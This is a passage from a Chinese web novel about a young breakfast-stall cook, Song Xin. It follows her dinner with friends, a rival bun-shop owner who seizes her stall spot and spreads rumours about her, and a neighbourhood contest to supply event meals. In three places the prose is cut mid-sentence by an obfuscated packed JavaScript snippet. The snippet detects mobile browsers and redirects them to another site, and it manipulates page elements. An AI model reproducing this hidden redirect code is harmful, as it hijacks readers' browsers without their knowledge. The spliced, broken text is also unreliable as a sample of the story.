之后要给鱿鱼打上荔枝花刀，宋鑫的刀工也是从小练习的，以前学业没那么紧张的时候，她厨艺各方面的练习也很刻苦。 也就高三放下了一年，之后暑假又捡起来了，上了大学之后就是寒暑假回家练一练，工作那半年就不用说了，再忙每天也会抽时间练一练。 虽然现在拿起来还有一些生疏，但是她的基本功一点都没有丢。 花刀打的特别好，深度和宽度都保持了一致，强迫症的福音。 她又把切成三角块的鱿鱼放进凉碱水里面，让其浸没鱿鱼。 冬笋、瘦肉和柿子椒都切成一样的三角块，接着宋鑫又调了个料汁。 看看时间差不多了，宋鑫把花生油倒进锅里烧到四成热，把瘦肉先滑进锅里拨散，之后又把冬笋和柿子椒放进去过油。 东西全部捞出来放到盘子里，接着把油烧到八成热，在这个时间，宋鑫还回了一下李云华的消息，她中午和她们说了晚上吃饭还要再加一个周若。 30.手抓羊肉 鱿鱼片放进油锅，刀口很快翻开呈现荔枝状。 之后捞出来放进盘子里，都放在一边，宋鑫准备等人都回来了再炒，这道菜要吃热的。 看看时间，手抓羊肉已经炖到烂糊了，这道菜用的是王意带来的羊肉，一大块带骨羊腰窝肉，都剁成带骨头的大块。 掀开锅盖看一眼，小火微沸，肉香味飘出来，厨房中鱿鱼的鲜味和羊肉的香味混合在一起，可以把人的魂勾掉。 宋鑫赶紧把锅盖放回去，先把手抓羊肉的蘸料调出来，她先用酱油醋和胡椒粉芝麻油调一个基础的底料，保证蘸料的味道之后不会差到哪里去。 葱花香菜蒜末全都装在小碗里摆放在一边，还有一旁的辣椒油，到时候大家按照自己的口味在基础蘸料上进行调配。 手抓羊肉炖的早，这道菜不难做，最重要的就是时间，是一道功夫菜，宋鑫吃完午饭就先把羊肉炖上了。 即使现在羊肉已经变得软烂，宋鑫也没有关火，而是开着小小火继续慢慢炖着，这道菜越软烂越好吃。 和大家最后确认了一下时间，最晚的王意再过十五分钟左右也能来到，下班跑得快的周若已经到楼下了。 周若来了之后，宋鑫开始做爆炒牛肉，宋鑫本来想让周若在客厅待着等着吃就行了，没想到周若亦步亦趋地跟着她进了厨房。 说是要给她打下手。 宋鑫想到周若和李翔去年被医院带走的事情，对于打下手深表怀疑，但是她没有说出来，避免周若恼羞成怒非要证明自己。 宋志明和李云华回来之后，未免周若不自在，没有进厨房，而是在客厅收拾一下东西，顺便把下班路上买的水果摆放好。 随着王意进门，宋鑫也开始做荔枝鱿鱼的最后一步。 锅里留底油，先放入蒜末，之后把炸过的这几样东西都放进去，稍微炒一炒，锅边烹入绍酒，把料汁倒进去，一个完美的颠勺，这道菜就好了。 “哇！”二重奏响起，是王意和周若异口同声的惊叹，她们对宋鑫的厨艺抱有很高的期待，可是万万没有想到宋鑫还会这一手，紧随着就是一句接着一句的夸赞。 宋鑫一边装盘一边表示小意思，可是表情会说话，她的眉毛都扬了起来，神采飞扬，显然对两人的赞美很受用。 荔枝鱿鱼菜如其名，鱿鱼就像金黄色的荔枝，还有其他配菜的点缀，色彩丰富。 这个菜被王意端过去了，周若继续待在厨房看宋鑫炫技，“你这个厨艺不去开饭店都委屈了，话说回来你想不想来我们食堂。” 周若想起了今天白天在食堂听到的话，那边的大厨要离开了，现在正在招聘新大厨，她还专门问了领导，事情确实是这样，领导还和周若说有合适的可以推荐一下。 周若当时就想到了宋鑫，可是她只吃过宋鑫做的早餐，就是再相信宋鑫，也不能随便打保证，另一方面她还没有问宋鑫的意见呢，对方也不一定愿意去她们食堂。 她本来准备等吃完饭再和宋鑫说这个事情的，可是看着宋鑫做菜的风采一下没忍住，人好看做菜也好看，还干净，宋鑫家的厨房是她见过最干净的厨房了，没有之一。 最关键的是，宋鑫做的饭好香！ 如果，她是说如果，宋鑫想要稳定一点呢，那她不就每天都可以吃到又香又干净卫生的菜了，只是想一想都可以再干三十年呢。 看到荔枝鱿鱼的样子，周若忍不住提前说了，现在厨房只有她们两个，也不用顾虑其他的。 宋鑫果然拒绝了，周若看着宋鑫可怜巴巴，她现在就是那种已经最近学习不行，可还是抱着考前突击的心态，满心以为上天可以眷顾自己一次，最后仍然考了个不及格的心态。 结果早有预料，仍抱有一丝幻想，现在幻想的泡泡破灭了。 宋鑫拒绝的很干脆，食堂的工作虽然稳定，但是上面领导也多啊，而且她又年轻，别人都是老资格，重点是她摆摊既挣钱，时间还相对自由一些。 她还等着攒钱开饭店呢。 周若失落的情绪只持续了半分钟，就被手抓羊肉的香味打败了。 手抓羊肉是在砂锅里面炖的，开盖之后宋鑫把要给周若王意带走的先盛出来，她炖的很多，盛出来两大盒之后剩下的部分也有大半锅，直接整锅端上桌。 周若自告奋勇来端这道菜，宋鑫把隔热手套给她让她戴好，看着她小心翼翼的把手抓羊肉端出去。 宋鑫自己开始做最后一道生煸豆苗。 把沥水篮里提前清洗干净的豌豆苗放进油已经被烧得冒烟的炒锅里，迅速加入调味料，快速翻炒，今天唯一的素菜就炒好了。 别看时间短做法简单，味道却是难得的鲜嫩。 另一边锅里干煸鲫鱼的水分也收干了，宋鑫把鱼装在盘子里，摆出一个漂亮的造型，又把葱、味精和醋调成的料汁撒在鱼身上。 饭桌前很快坐满了人，主食宋鑫焖的米饭，还有买的大饼。 “不要客气快吃吧。”李云华招呼女儿的两个朋友，王意和周若在厨房的时候，现在和宋志明李云华坐在一起就有些拘谨。 不过开始吃饭之后，两人身上的拘谨就消失了，没有办法，饭太好吃了，根本注意不到其他的，全部注意力都在这几道菜上面，每一个都好吃，对于下一筷子夹哪道菜，这个选择完全可以逼死强迫症。 鱿鱼脆滑鲜香，还带着一点胡椒的味道，是点睛之笔。 羊肉可以戴上手套用手抓着保留下来的羊骨吃，轻轻一咬，羊肉就和骨头分离，不蘸调料的羊肉吃起来也没有一丝膻味，还带着一股特殊的奶香。 周若选择了羊肉，她的蘸料里面加了海量辣椒油，虽然是沿海城市的女孩子，可是非常能吃辣，她刚刚已经吃了一块没有蘸调料的。 现在要吃另外一种口味的了，周若把手里的羊肉在面前的调料碗里过一遍，努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16604108|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让等会儿吃到嘴里的肉全部沾满料汁。 吃到嘴里的味道让她眼睛都睁大了，用暂时空着的右手疯狂给宋鑫比大拇指，本来以为原汁原味羊肉的味道已经很让人惊艳了。 可是这个料汁让羊肉的味道更上一层楼，真的太好吃了，周若现在已经没有脑子去想形容词了，脑子里被好吃两个字刷屏。 直到吃完一整块羊肉，周若回味起来，才发觉这个手抓羊肉吃起来酸、辣、鲜、香，再吃一块！ 王意则和周若不一样，她又吃了一筷子鱿鱼，即使是干鱿鱼泡发的，还是很有弹性，带着海产品特有的味道，里面的配菜也毫不逊色，和鱿鱼一起吃进嘴里别有一番风味。 在周若努力吃羊肉的时候，王意已经对干烧鲫鱼下手了，干烧鲫鱼的卖相非常好，色泽油润红亮，这个鱼肉应该是炸过的，外皮口感很好，鱼肉很嫩。 而且味道很奇特，麻辣鲜香就算了，吃到嘴里的回味还带着一分甜。 吃到一半饭桌上都没有人讲话，就连宋志明和李云华都埋头苦吃，宋鑫虽然平时也会做饭，但是大餐还是少有的。 宋鑫是最先从香香的餐桌里回过神的，毕竟她自己就是主厨，对自己做的菜还是有点免疫力的。 主要是她突然想起自己忘记了提前煮上的竹蔗茅根水。 “我还煮了一些竹蔗茅根水，我去拿过来。”宋鑫说完就去了客厅，把养生壶连带着几个杯子一起拿了过来。 养生壶里的竹蔗茅根水还散发着热气，这是宋鑫根据今天的晚餐特意煮的，就怕大家吃了这一顿明天都上火。 吃完饭时间已经不早了，王意和周若没有多待。 各自带着满满一大盒手抓羊肉，以及一袋竹蔗茅根水的材料包回去了，材料包是宋鑫自己买材料配制的，想喝的时候一个材料包扔进壶里煮一煮就有甘甜去火的健康饮料喝了。 宋志明和李云华看着两人带来的水果和宋鑫说道：“这俩孩子也太客气了，鑫鑫你和她们讲一下，以后再来可别带东西了。” 宋鑫比了个ok 的手势，其实她说过了。 王意到家之后把羊肉放进冰箱，明天热一下，煮面泡饼都好吃，但是现在的她只能躺在沙发上一动不动，能够正常走回家都多亏了她家离得近，她现在撑的坐都不能坐，只能躺着。 周若回去之后就看到了李翔哀怨的眼神，她不好意思的低了下头，本来说好的照片一张没有，饭菜的香味把她的魂都勾掉了，哪里还来得及拍照，满脑子都是什么时候吃以及好好吃。 等着照片下饭的李翔最终还是被哄好了，靠的是周若带回来的手抓羊肉，羊肉确实好吃，微波炉热一下，配上宋鑫秘制调料。 李翔吃的头也不抬，却还贪心地问周若她们除了这个还吃了什么，周若说一个李翔就想象一下这道菜的味道。 伴随周若的描述，李翔配着羊肉吃完了一大份普普通通的外卖。 31.红豆年糕汤 昨天上午摆摊结束，宋鑫去菜市场买菜，本来只想买点晚上要吃的菜，没想到干货店的冯老板看到她，隔很远就朝着她招手。 年后菜市场来的频繁，宋鑫和好几个老板的关系已经从普通眼熟到了能聊几句家常的地步了。 冯老板更是一个自来熟的人，但是他这种自来熟不让人讨厌，不会问东问西，很有边界感。 宋鑫才走过去，就看到店中央一个大袋子，里面都是颗粒饱满的红豆。 她一看就喜欢上了，红豆好买，可是品质这么好，里面还干干净净的在菜市场也不常见，大多数的红豆里面总会掺杂少数干瘪的豆子，吃之前还要仔细挑拣。 “怎么样，我这个红豆不错吧。”看到宋鑫点头赞同之后冯老板才接着说道，“宋老板要不要来点，这红豆都是我亲戚在家挑拣过一遍的，绝对干净。” 宋鑫用手拿起几粒红豆在手里捻了捻，红豆晒得足够干，也没有生虫的迹象。 要不明天早上就以红豆为主题做个早餐。 她决定好之后，就和冯老板点点头：“这些红豆我都要了，多少钱一斤。”这一袋子摆在这里看着多，但根据她的目测，也就十斤左右。 冯老板看宋鑫这么爽快，他也爽快回答：“现在市场上的零售价大概10块一斤，你要是都拿走我就给你按照8块一斤来，最后再把零头抹掉。” 冯老板家亲戚把红豆给冯老板的时候就说了能接受的价格范围，冯老板折了个中。 “那行，给我称一下吧。”宋鑫知道冯老板没有糊弄她，她总买东西，大致的价格也都清楚，冯老板说的那个价钱还是品相没那么好的。 冯老板一边称红豆一边和宋鑫聊起了家常。 “这个袋子也不轻，我先放个桶在秤上面，称完再给你倒回袋子里。”说着他就从柜台里面拿出一个干燥的水桶。 “这个红豆是我家一个亲戚家里自己种的，老头老太太年纪大了闲不住，唉，也不能说闲不住。”冯老板停顿了一下，去皮之后拿起红豆慢慢往桶里倒。 “家里孩子过的也就那样，大家都是普通人，也就凑合过一过日子，老人又不想给孩子添麻烦，每年就自己种点东西拿出来卖，可以凑够她们的日常花销。” “一共十斤三两，八十二块四毛，给八十就行了。”冯老板说着，准备之后自己再添十块，凑个九十给亲戚，他自己也是上有老下有小，也只能在这个小地方发一发善心了，自嘲地笑了笑，他也就能给一百。 之前就发生过这样的事情，结果一个整钞递过去，老人就发现了不对，怎么可能那么正正好，死活不肯要。 宋鑫直接扫码付款，却是付了八十二，对上冯老板的目光，“四毛不是零头嘛，冯老板不舍得给我抹掉啊。” 知道她是开玩笑，冯老板也笑起来。 之前也有人来买红豆，听了冯老板的话还想压价，认为是老人种出来的，根本不值那么多钱，把冯老板气得直接不做那人的生意了。 在那个人的理论里面，自家种的就是不值钱。 没和宋鑫说这讨人厌的事情，冯老板接着说起了那对老人，“之前她们的东西也不是在我这里卖，都是直接在家那边卖给收货的。” 宋鑫她们家这边会有走街串巷到处收干货的，农村尤其多，其实就是中间商，挣的是买进卖出的差价。 冯老板和宋鑫对这种工作没有什么意见，有需求就有市场，都是正常的。 “结果我妈有一次回去和她们聊天，发现那个收货的竟然要两块一斤收她们的豆子，还要去皮净重，还要去掉损耗！” 说到这里冯老板的声音都压不住了，什么损耗？就问晒的这么干的豆子能有什么损耗？这不就是欺负俩老人年纪大嘛。 “我妈不问不知道，原来去那边收货的都是一家，所有人都给她们压低价格，还给他们做成垄断生意了。”这话一出，宋鑫也忍不住笑起来，真是无语到发笑。 冯老板也气笑了，“我妈还问她们之前卖出去的那些，都是非常低的价格拿走的，就算你中间要过一手，来回跑也辛苦了，人工油费的，可也不能这么欺负人呐，要不是这次的价格压的实在是低，俩老人还能继续卖给他们呢。” “我妈直接把这些豆子带回来了，说在我这边给她们寄卖，卖完再把钱给她们送回去。” “你妈妈一定是个很好的人。”这是听完事情经过发出感慨的宋鑫，冯老板非常骄傲，四十多岁的大男人听到宋鑫夸他妈妈，还像小孩子听到夸奖一样嘴角高高扬起。 “那是，我妈妈就是特别好的人，不瞒你说，当初我和我媳妇认识还是因为我妈帮了她一个忙，后来愿意和我结婚有一半是因为我妈。” 宋鑫好奇：“还有一半呢。” “还有一半当然是因为我年轻的时候也是个帅小伙~” 好吧，宋鑫沉默，看着眼前粗糙的人，怎么也看不出对方的帅气在哪里，可能是情人眼里出西施吧，她就不该问。 * 昨天晚上吃完饭，宋鑫也吃的很撑，帮着打扫完家里，宋鑫就把泡好的红豆拿了出来，用煮红豆沙来消食。 现在的宋鑫先把昨晚重新泡上的红豆拿了出来，冷水下锅给红豆焯水，可以取出豆子本身自带的涩味。 之后把水和红豆按照比例放进锅里，先大火烧开，再慢慢熬煮成沙。 红豆汤在一边煮着，今天早上的汤就是红豆年糕汤，宋鑫提前和年糕店老板预定了，老板可以帮她切成小块，出摊的时候她过去取就行了。 在掺入少量低筋面粉的高筋面粉中加入糖盐，之后把牛奶煮到微热，酵母放进去，现在天太冷了，酵母要激活一下。 宋鑫看着这个牛奶，用的是她直接从超市买的牛奶，但也很香，因为她偷偷往里加了奶粉，哈哈，奶味很足。 牛奶和鸡蛋都加到面粉里揉成面团，接着加黄油再揉，宋鑫边揉边想起她昨天晚上看到的自己胳膊上的肌肉。 很好，省去了健身房的钱，存款+1 趁着牛奶红豆饼在发酵，宋鑫又把糯米粉倒了出来，做红豆糯米饼，这个不用发酵，糯米粉和牛奶混合，把昨晚煮好的红豆沙包在里面按成圆饼，出摊之后再开始煎。 红豆沙煮好之后加了糖和黄油，本身就又甜味，不用额外加糖了。 把今天的菜单挂牌发群里面。 红豆牛奶饼，红豆糯米饼 茶叶蛋，水煮蛋 红豆年糕汤< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16608937|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>【哇哇哇，今天是红豆主题哦，我爱红豆，我来啦~马上起床。】 【都是甜的啊，有没有不加糖的。】 宋鑫手机还没放下就看到了这句话，“红豆牛奶饼和红豆糯米饼都加糖了，但是是熬煮豆沙馅的时候加的糖，整体甜度还好，红豆年糕汤里没有加糖，糖量自行掌握。” 【ok我去上班的时候买一碗红豆年糕汤吧，天冷就要喝这种热气腾腾的东西。】 【我爱吃甜的，早起就要吃甜的才能开启元气一天！】 【红豆年糕汤，我很早之前看日剧的时候就好想吃了，可是我们这里没有同款，快告诉我时不时同款！】 【就算不是同款，我们小宋老板做出来的也一定好吃！】 红豆牛奶饼的饼坯做好之后，红豆汤也煮好了，把厨房门打开，宋鑫发现宋志明和李云华也起来了。 两人还有点迷糊，和宋鑫精神百倍的样子形成鲜明对比。 “粥给你们放桌子上了，想吃甜的自己加糖啊，我去摆摊了。” 大门都被重新关上了，才恢复清醒的宋志明和李云华面面相觑，她俩好像变成小孩了。 宋鑫把年糕的钱付过去，提着一大袋年糕放到餐车上，想要去自己的老位置，结果到了一看那个位置上面已经放着一辆车子了。 宋鑫不敢置信，这边的摊位都是正规划出来的摊位，每一个都是交钱定下来的，一个月不多二百块，可也是白纸黑字写下来的。 这人怎么上来就占位置呢，要是晚上也就算了，她晚上又不摆摊，可现在是早上她要摆摊的点，这就很过分了。 这时候宋鑫还不知道包子店老板在背后造的谣。 包括但不限于什么用的肉都是不好的，处理的便宜注水肉，煮的东西里面添加剂特别多一点都不健康等等。 只要是包子店老板自己用过的手段，全被他加到了宋鑫身上。 谣言没有传到宋鑫的耳朵是因为包子店老板刚想在人群里传播，就被同时在宋鑫和他那里买过早餐的人喷了。 之后包子店老板还往人群里凑，努力制造谣言，每次都没有成功，气急败坏的他决定今天早上抢占宋鑫的摊位。 他没有了解过这边的摊位，以为这边和夜市那边的一样是流动摊位呢，万万没有想到花园小区这边的摊位是固定的。 虽然流动摊位也不能随意占别人的位置，是很不道德的行为。 宋鑫先去和占了她位置的包子店老板直接交涉，但是对方根本不听宋鑫讲话，自顾自地摆放包子，宋鑫也生气了，先把餐车停在隔壁。 这个位置的主人她认识，早上不出摊，晚上才来。 接着就是拍照留证，打电话投诉一条龙服务。 周围就是学校，学生比较多，这条街早上也有好几个城管在巡查，宋鑫打完电话，谢过了帮她说话的周围几个摊主，就就开始在餐车上忙碌，她也不跟包子店老板多掰扯。 现在吵起来影响的是她自己的生意，她认识这个包子店老板，知道他的店铺就在旁边，在人流量这么好的地方生意也很差。 年糕在进入平底锅之前划十字花刀，宋鑫把红豆牛奶饼、红豆糯米饼和年糕一一放进锅里，两个锅同时开动。 32.反沙咸蛋黄 天刚刚变凉，就有个女孩从远处跑来，先是到了宋鑫之前的摊位那里，意识到不对，又返回来到宋鑫的餐车这里，一边喘气一边指着招牌和宋鑫说：“小宋姐姐，我要五碗红豆年糕汤，十个红豆牛奶饼，五个红豆糯米饼，全部打包带走。” 宋鑫摆摊也有了一点点经验，听到这个女生要的量也没有震惊，还问她：“是要全部放一起，还是平均打包成五份？” “五份，谢谢姐姐，啊，还有茶叶蛋和水煮蛋，水煮蛋的蛋黄好噎，都跟着我吃茶叶蛋吧，嘿嘿~姐姐，再来五个茶叶蛋，也分成五份，跟之前的那些装在一起。” “没问题。”现在天刚刚有一点亮度，人也很少，宋鑫在打包之前还给小女孩比了一个OK的手势。 “红豆年糕汤的年糕我先给你单独装着，你吃的时候再放进汤里，这样比较好吃，还是现在给你放进去。”宋鑫夹着一块煎好的年糕问女孩。 小女孩年纪不大，身上还穿着初中校服。 要问宋鑫怎么知道是初中校服的，先不说她家就在附近，就说附中初中部的校服数年如一日像个麻袋，她自己还穿了三年，再过二十年宋鑫也能认出来！ “单独装，谢谢姐姐，老板姐姐你怎么不在之前的位置摆摊了啊。”初中女孩还不好意思地捂住脸，这么明显的餐车，和那个车子区别那么大，刚刚自己为什么没有注意，只是闷着头朝老地方跑。 “没事儿，我一会儿就能回去了。”说话的宋鑫已经看到了不远处走来的城管。 女孩似懂非懂地点点头，看着宋鑫盛出一碗浓稠的红豆汤，上面撒上一撮漂亮的干桂花进行点缀。宋鑫拿着盛好的五碗红豆汤走到小料台，问女孩要不要加糖，有白糖红糖，还有冰糖。 “要是都能接受，每一种都放一点？”看着明显是选择困难症犯了的女孩，宋鑫提议，得到了女孩重重的点头。 全部打包好之后，宋鑫又卖出去几碗红豆年糕汤，好看又好吃的红豆年糕汤在寒冷的早晨就是路人诱捕器。 城管也和包子店老板沟通好了，包子店老板面对宋鑫和其他摊主的指责充耳不闻，面对城管的时候就不是这个样子了。 可能大家还是太有素质了，城管也是真的可以把他的车子没收。 包子店老板愿意离开了，可城管没让他走，其中一个城管来到宋鑫这里，请她过去一下。 宋鑫走近之后听到城管还在教育包子店老板，看到宋鑫来了，“你要给这个老板道歉，还要发朋友圈道歉。” 看出包子店老板不愿意，城管又说道：“你这是初犯，再有第二次就要罚款了。”和这种人打交道久了，城管也知道他们看重什么。 果然，这话一出，包子店老板连忙拿出手机，同时嘴上开始给宋鑫道歉。 宋鑫听着那些虚伪的话，一句都不可信！不过包子店老板似乎觉得对她一个女人道歉很屈辱，这个发现让宋鑫耐下心听包子店老板的道歉，没有提前走开。 看到包子店老板发朋友圈了，其中一个城管还加了他的联系方式，“你这条朋友圈最少要保持三天全开放，我们随时会抽查。” 说完看着包子店老板苦着一张脸发完朋友圈把自己的车子挪走才离开。 宋鑫顶着包子店老板的怒视把餐车开回去，继续卖自己的早餐。 一扭头发现刚刚那个初中女孩还在不远处，发现宋鑫的视线之后才匆忙离开，只顾着看热闹，她要迟到了！ 宋鑫看着她狂奔的模样，有点像早上送孩子上学的赵女士。 早餐还没有卖完宋鑫早上遇到的事情就被大家知道了，有知情人联系到昨天包子店老板到处抹黑宋鑫的事情。 大家已经在群里讨伐起了包子店老板，并且成立了一个不吃包子的联盟，这个包子仅限于这个包子店老板的包子。 未免破坏小吃摊群的气氛影响老板的心情，这些人又重新建了一个群。 群众的力量是伟大的，群众的眼睛是雪亮的，通过剥丝抽茧的分析，竟然被她们发现了包子店老板突然发癫的原因：小区才艺大比拼的早餐供应。 以往只是被家里人拽去看热闹的年轻人感到好奇，她们小区的比赛这么正规吗，竟然还有餐点供应。 本来还在傻乐，群里的一条消息让大家一起上演了群体笑容消失术。 【所以到时候的活动早餐是包子吗？】 【不要啊，那个难吃的包子。】 【如果那个包子可以选中，我们小宋老板的早餐更可以了。】 【支持小宋老板。】 【要是包子店选中一定有黑幕，他家包子连我自己包的都不如。】 花园小区才艺大比拼的餐点供应引起了很多人的注意，大家在群里交流完还去问家里的长辈，有的直接找了小区物业，想问清楚这件事情。 得到了小区物业那边的回复，从来没有把包子店列入考察范围。 去询问的人得到满意的回答，还向工作人员强烈安利了宋鑫，工作人员满面笑容，心里也赞同点头，她也去宋鑫那里买过早餐，还买过元宵。 这次的才艺大比拼要是让她供应早餐，她一定愿意在这期间天天上早班。 但是今年的供应商一直没有决定下来，不知道怎么回事。 到底是怎么回事呢？ 如果只让宋鑫供应早餐，那绝对没有问题，她的早餐味道完全可以过关，但是老年活动室的那些老人提议说让宋鑫负责早午两餐和点心全部的餐点供应。 这就引起了物业这边的争论。 有的认为可以，宋鑫的早餐做的好，午餐也差不到哪里去，实在不相信也可以让宋鑫做一份带来试吃一下。 反对的那些人不是因为厨艺的问题，而是各有心思，这一个小小的餐点供应里面也不是一片清水，要不然包子店老板也不会找到门路觉得早餐供应是自己的囊中之物。 挣钱是肯定的，而且走量，不用担心卖不完剩下，还有一方面就是在这种小区活动里供应了早餐，相当于小区物业方面对这家店进行了背书。 质量有保证。 要是之前就算有点什么，只要没有人关注也没关系，现在事情闹大了，这个事情摆在了明面上，不管最后入选的是哪家店，包子店是不可能了。 最后还是经理下了决定，“投票吧，所有人投票 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617797|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 决定。” 说完她就直接出门把所有员工聚集起来，不给所有人准备时间，马上进行不记名投票活动。 宋鑫还不知道有人为她疯狂争取，她在家里看着上周腌上的咸蛋黄，现在已经腌好了，还没有烤就可以想象到蛋黄咸香流油的口感了。 这要是做成蛋黄酥得有多好吃。 不过宋鑫只是想一想，蛋黄酥就算了，她这次要做反沙咸蛋黄，昨天晚上临睡前刷视频看到的，一点都不饿甚至有点撑的她看完视频硬生生馋了。 当即想到家里还有之前做的咸蛋黄，时间也差不多可以吃了。 反沙咸蛋黄的做法简单，只要外面裹的炸粉没问题，炸好的咸蛋黄下入糖浆的时机把握好，就出不了什么错。 很快，咸蛋黄外面就包裹了一层糖霜，上面还夹杂这一些葱花。 宋鑫忍不住拿起一个吃了起来，外壳有点像鱼皮花生加上糖雪球的混合口感，可是吃到中间就不一样了，咸蛋黄的口感和味道瞬间缓解了刚感到有些甜腻的口腔。 外壳甜脆，内里咸沙，融合的恰到好处。 宋鑫忍不住一个接一个的吃，等反应过来锅里只剩下一半，她也不需要给自己准备午饭了。 打了个饱嗝的宋鑫把剩下的反沙咸蛋黄装进保险放冰箱。 不远处的附中食堂里，几个女孩在坐在一起面对普普通通的食堂菜，要是宋鑫在肯定可以认出来其中一个就是早上买了很多饭，又为了吃瓜差点迟到的那个女孩。 “唉，要是花园小区门口那个老板姐姐也卖午饭就好了，自从她开始摆摊，我每天早上吃的可满足了，天天起床都有动力了。” 听着小伙伴的话，要是放在之前另外四个人一定嗤之以鼻，什么饭可以打败冬天的被窝，不可能！ 但是今天早上吃完红豆年糕汤、茶叶蛋和红豆糯米饼，十一点多饿了还可以用红豆牛奶饼加餐，这日子过得真是太美好了。 学习都更有干劲了。 “是啊，我都不敢想要是一天三顿都能吃到那么美味的饭菜，我的成绩将会有多大的进步。”其中一个戴着眼镜的小女孩说着。 其他人连连点头，靠着残留的美味早餐记忆吃着食堂的饭菜，吃的几个花季少女面目狰狞。 早上看完八卦的姚书忍不住和小伙伴说起了早上自己看到的事情，即使没有看完事情的所有经过，但是她也能猜个八九不离十。 其他人看着小伙伴兴奋的目光，大家对视一眼，一瞬间明白自己又有新的瓜可以下饭了，一个个纷纷用眼神催促姚书快讲。 把早上的经历说完之后，大家开始发表自己的看法，她们的饭也吃的差不多了，正好边回教室边讨论。 “我知道那个包子店，可难吃了，我之前有一次拉肚子早上就吃了他家的包子，但是当时没有怀疑这方面，我还以为是天气太冷了冻的！” “那家店老板好坏，竞争不过人家就做这种事情，就是觉得老板姐姐年轻好欺负！” “是这样的，不过踢到铁板上了吧哈哈哈哈。” “快快，书书再重新描述一下那个包子店老板黑脸的过程，听的我好爽！” 33.莲藕花生红枣汤 “是的，听着太解气了，以后我遇到这种事情也要好好保护我的合理权益！”说话的是几人性格最软弱的女孩。 也不是软弱，只是遇到事情会想着算了吧，忍一下也没什么，最后的结果就是越忍耐对方越恶劣。 之前她们一起出去玩的时候坐公交，车子里明明还有位置，那个人就看她好欺负逼着她让座位，最后在其他乘客和小伙伴的帮助下这个座位才没有让给对方。 那个人明显就是在其他地方受了气，在公交上找人发泄自己的怒火，还很会挑人，找看起来年纪很小很安静的小女生。 公交上还有人高马大的大哥呢，他怎么不去让人让座！ “是的，我们以后也要这样！” * 经历了早上包子店老板的恶劣占位，还有群里后续的发言，宋鑫也知道了怎么回事。 看到大家还专门给她分析，说了供应小区才艺大比拼的好处，扩大知名度，时间线还长，三月连着三个周末，增加营业额。 宋鑫当然想去供应小区才艺大比拼的餐点，可是这个年年都是物业主办方那边决定的，定下来的也都有固定店铺。 但是人还是要抱有期待的，万一实现了呢。 宋鑫问了宋志明和李云华，她们两个也不知道选择标准是什么，不过两人很自信，觉得宋鑫一定可以被选上。 和宋鑫聊完，两人分别找熟人问了一下这次的事情，什么都没有问出来，说是物业那边还在开会。 宋鑫不担心才艺大比拼的事情了，主要是这事担心也没用，她什么也做不了，总不能因为这个去给人送礼吧，别到最后没有把送礼的钱挣回来。 出去转一圈吧，看看有没有合适的菜，明天早上包包子。 君子报仇，十年不晚。 宋鑫报仇，一天就来！ 包子店老板的包子不是卖不出去吗，那就让他更卖不出去！ 都对自己下黑手了，宋鑫之前不想伤了和气，从来没有卖过包子，现在包子店老板做了初一，宋鑫就可以做十五啦~ 之前她真没有很强的做包子的想法，卖包子早上要起更早，她不想起！ 现在这个时间刚好，还在她可以接受的范围内。 而且她既然要开始卖包子，就准备从今天到周六都卖包子，彻底把包子店挤兑走，她也不用那些不好的手段，直接用质量打败对方。 包子店不关门，那个老板接下来绝对还会在背后耍阴招，宋鑫看到包子店老板是怎么抹黑她的之后忍不住笑了。 人无语的时候真会莫名其妙的发笑。 背后说别人的时候能不能低头看看自己啊。 宋鑫先去了大菜市场，快到的时候在路边发现了之前卖藕的老板，可能是刚到，宋鑫看着沈老板从前面下来。 她也过去，看看这次的藕怎么样，可以的话买点回家吃个麻辣藕片。 “哎呀，沈老板你这里有粉藕啊！”宋鑫拿着一截藕忍不住喊住沈老板，她们这个城市种植藕的本就不太多，更不用说还有粉藕了。 沈老板看看宋鑫手里的藕点点头：“是啊，之前也有，只是数量少卖的快。” 宋鑫忍不住拍了下大腿，真是可惜，早知道有粉藕，她就买点回去炖汤了，这一下要错过多少顿好喝的莲藕汤啊，亏大了。 手里的藕不用沈老板多说，即使没有切开，宋鑫也能看出来这个粉藕和脆藕相比颜色更深，长度更短一点，品质很好，煮好之后特别粉糯。 宋鑫当即决定明天早上的汤就是莲藕花生红枣汤了。 等会儿再去买点花生红枣，汤里不用加糖，红枣提供的甜味已经足够，花生也炖的粉粉糯糯，可是和莲藕又是不一样的口感。 宋鑫先买走了大半的粉藕，又和沈老板定好如果之后还要的话提前联系她，沈老板可以给她单独备货。 她要的量虽然不是特别大，比不上大型餐馆，可和一些小饭店相比也少不到哪儿去。 把莲藕放在车上，宋鑫到菜市场先找冯老板买了花生和红枣，家里的红枣也吃完了，这次多买点，红枣的用处挺多的。 